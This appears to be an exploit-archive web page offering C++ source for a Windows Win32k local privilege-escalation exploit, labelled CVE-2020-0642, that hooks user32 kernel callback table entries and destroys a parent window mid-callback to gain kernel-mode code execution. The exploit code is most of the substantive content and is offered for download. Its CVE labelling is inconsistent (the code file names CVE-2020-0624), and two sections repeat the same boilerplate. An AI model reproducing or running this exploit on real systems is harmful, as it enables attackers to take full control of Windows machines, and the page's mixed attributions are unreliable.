Microsoft Windows Win32k Privilege Escalation

Authored by nu11secur1ty, Ventsislav Varbanovski | Site github.com

Posted Aug 3, 2020

Microsoft Windows Win32k privilege escalation exploit. An elevation of privilege vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.

tags | exploit, arbitrary, kernel
systems | windows
advisories | CVE-2020-0642
SHA-256 | f51816744f601f26a1dc371409081f3b30f6f6f0fa5daa69051169dd407f27f9 **Download** | **Favorite** | **View**

Related Files

Share This

Like Twee LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
# Exploit Title: Elevation of Privilege
# Author: nu11secur1ty
# Date: 08.03.2020
# Exploit Date: 01/14/2020
# Vendor: Microsoft
# Software Link:
https://support.microsoft.com/en-us/help/3095649/win32k-sys-update-in-windows-october-2015
# Exploit link:
https://github.com/nu11secur1ty/Windows10Exploits/raw/master/Undefined/CVE-2020-0624/win32k/__32-
win32k.sys5.1.2600.1330.zip
# CVE: CVE-2020-0642


[+] Credits: Ventsislav Varbanovski (nu11secur1ty)
[+] Source:  readme from GitHUB


[Exploit Program Code]

// cve-2020-0624.cpp

#pragma warning(disable: 4005)
#pragma warning(disable: 4054)
#pragma warning(disable: 4152)
#pragma warning(disable: 4201)

#include <Windows.h>
#include "ntos.h"

typedef NTSTATUS(NTAPI* PFNUSER32CALLBACK)(PVOID);

HWND hParent{}, hChild{};
BOOL Flag1{}, Flag2{};

PFNUSER32CALLBACK OrgCCI2{}, OrgCCI3{};

NTSTATUS NTAPI NewCCI2(PVOID Param)
{
  if (Flag1)
  {
    Flag1 = FALSE;
    Flag2 = TRUE;
    DestroyWindow(hParent);
  }
  return OrgCCI2(Param);
}
NTSTATUS NTAPI NewCCI3(PVOID Param)
{
  if (Flag2)
  {
    ExitThread(0);
  }
  return OrgCCI3(Param);
}
int main()
{
  DWORD OldProtect{};

  PTEB teb = NtCurrentTeb();
  PPEB peb = teb->ProcessEnvironmentBlock;
  PVOID pCCI2 = &((PVOID*)peb->KernelCallbackTable)[2];
  if (!VirtualProtect(pCCI2, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &OldProtect))
    return 0;
  OrgCCI2 = (PFNUSER32CALLBACK)InterlockedExchangePointer((PVOID*)pCCI2,
&NewCCI2);

  PVOID pCCI3 = &((PVOID*)peb->KernelCallbackTable)[3];
  if (!VirtualProtect(pCCI3, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &OldProtect))
    return 0;
  OrgCCI3 = (PFNUSER32CALLBACK)InterlockedExchangePointer((PVOID*)pCCI3,
&NewCCI3);

  hParent = CreateWindow(L"ScrollBar", L"Parent", WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT, CW_USEDEFAULT, 10, 10, NULL, NULL, NULL, NULL);
  hChild = CreateWindow(L"ScrollBar", L"Child", WS_OVERLAPPEDWINDOW |
WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, 10, 10, NULL, 0, NULL,
NULL);
  Flag1 = TRUE;
  SendMessage(hChild, WM_LBUTTONDOWN, 0, 0);
  return 0;
}


[Vendor]
Microsoft


[Vulnerability Type]
Privilege Escalation


[Description]
The entry creation date may reflect when the CVE ID was allocated or
reserved, and does not necessarily indicate when this vulnerability
was discovered, shared with the affected vendor, publicly disclosed,
or updated in CVE.
- - - more: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0642

[Disclosure Timeline]
An elevation of privilege vulnerability exists in Windows when the
Win32k component fails to properly handle objects in memory. An
attacker who successfully exploited this vulnerability could run
arbitrary code in kernel mode. An attacker could then install
programs; view, change, or delete data; or create new accounts with
full user rights.
To exploit this vulnerability, an attacker would first have to log on
to the system. An attacker could then run a specially crafted
application that could exploit the vulnerability and take control of
an affected system.
The update addresses this vulnerability by correcting how Win32k
handles objects in memory.


[+] Disclaimer
The entry creation date may reflect when the CVE ID was allocated or
reserved, and does not necessarily indicate when this vulnerability
was discovered, shared with the affected vendor, publicly disclosed,
or updated in CVE.
```

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
				1	2	3
4	5	6	7	8	9	10
11	12	13	14	15	16	17
18	19	20	21	22	23	24
25	26	27	28	29	30	31

Top Authors In Last 30 Days

Red Hat 154 files
Ubuntu 73 files
LiquidWorm 23 files
Debian 18 files
malvuln 11 files
nu11secur1ty 11 files
Gentoo 9 files
Google Security Research 8 files
T. Weber 4 files
Julien Ahrens 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (6,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

```
@nu11secur1ty

--

hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty


--

hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
                          nu11secur1ty <http://nu11secur1ty.com/>
```

Login or Register to add favorites

Spoof (2,166)
SQL Injection (16,102)
TCP (2,379)
Trojan (686)
UDP (876)
Virus (662)
Vulnerability (31,136)
Web (9,365)
Whitepaper (3,729)
x86 (946)
XSS (17,494)
Other

SUSE (1,444)
Ubuntu (8,199)
UNIX (9,159)
UnixWare (185)
Windows (6,511)
Other